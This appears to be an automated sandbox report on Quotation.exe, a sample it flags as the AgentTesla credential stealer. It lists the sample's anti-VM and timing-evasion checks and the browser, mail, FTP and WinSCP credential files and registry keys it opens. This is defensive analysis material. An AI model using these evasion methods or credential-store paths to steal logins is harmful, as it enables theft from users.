Source: Quotation.exe

Static file information: File size 1208728 > 1048576

Source: Quotation.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Quotation.exe

Code function: 0_2_733F2351 GlobalFree,GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_733F2351

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_372376D8 push esp; iretd		3_2_372376E9
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 3_2_37237CA4 push esp; iretd		3_2_37237CAD

Source: C:\Users\user\Desktop\Quotation.exe

File created: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Quotation.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Quotation.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Quotation.exe	API/Special instruction interceptor: Address: 59C5CCC
Source: C:\Users\user\Desktop\Quotation.exe	API/Special instruction interceptor: Address: 2425CCC

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Quotation.exe	RDTSC instruction interceptor: First address: 5968ACD second address: 5968ACD instructions: 0x00000000 rdtsc 0x00000002 cmp dl, al 0x00000004 cmp bl, 0000004Ch 0x00000007 cmp ebx, ecx 0x00000009 jc 00007FEF74DA0F5Ch 0x0000000b test ecx, eax 0x0000000d test ebx, ebx 0x0000000f inc ebp 0x00000010 cmp bx, dx 0x00000013 inc ebx 0x00000014 test ch, ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Quotation.exe	RDTSC instruction interceptor: First address: 23C8ACD second address: 23C8ACD instructions: 0x00000000 rdtsc 0x00000002 cmp dl, al 0x00000004 cmp bl, 0000004Ch 0x00000007 cmp ebx, ecx 0x00000009 jc 00007FEF744F299Ch 0x0000000b test ecx, eax 0x0000000d test ebx, ebx 0x0000000f inc ebp 0x00000010 cmp bx, dx 0x00000013 inc ebx 0x00000014 test ch, ah 0x00000016 rdtsc

Source: C:\Users\user\Desktop\Quotation.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Memory allocated: 33CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Memory allocated: 33920000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199891	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199781	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199672	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199562	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199453	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199344	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199234	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199124	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199015	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198906	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198797	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198687	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198578	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Window / User API: threadDelayed 8859			Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Window / User API: threadDelayed 980			Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Quotation.exe

Evaded block: after key decision

graph_0-3126

Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 6108	Thread sleep count: 8859 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 6108	Thread sleep count: 980 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -98078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -97110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -96110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -95985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -95860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1199015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1198906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1198797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1198687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe TID: 5756	Thread sleep time: -1198578s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004066F7 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_004066F7
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004065AD FindFirstFileW,FindClose,		0_2_004065AD

Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98641	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98422	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98313	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98188	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 98078	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97969	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97844	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97735	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97610	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97485	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97235	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 97110	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96985	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96860	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96735	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96610	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96485	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96360	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96235	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 96110	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 95985	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 95860	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199891	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199781	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199672	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199562	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199453	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199344	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199234	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199124	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1199015	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198906	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198797	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198687	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Thread delayed: delay time: 1198578	Jump to behavior

Source: Quotation.exe, 00000003.00000002.3270442306.0000000003871000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3270442306.0000000003818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Quotation.exe, 00000003.00000002.3270442306.0000000003871000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!

Source: C:\Users\user\Desktop\Quotation.exe

API call chain: ExitProcess graph end node

graph_0-3017

Source: C:\Users\user\Desktop\Quotation.exe

Code function: 0_2_733F2351 GlobalFree,GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_733F2351

Source: C:\Users\user\Desktop\Quotation.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Users\user\Desktop\Quotation.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

0_2_004036DA

Source: C:\Users\user\Desktop\Quotation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3293340440.0000000033D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Quotation.exe PID: 2284, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Quotation.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Quotation.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000003.00000002.3293340440.0000000033D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Quotation.exe PID: 2284, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3293340440.0000000033D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Quotation.exe PID: 2284, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Obfuscated Files or Information	11 Input Capture	225 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
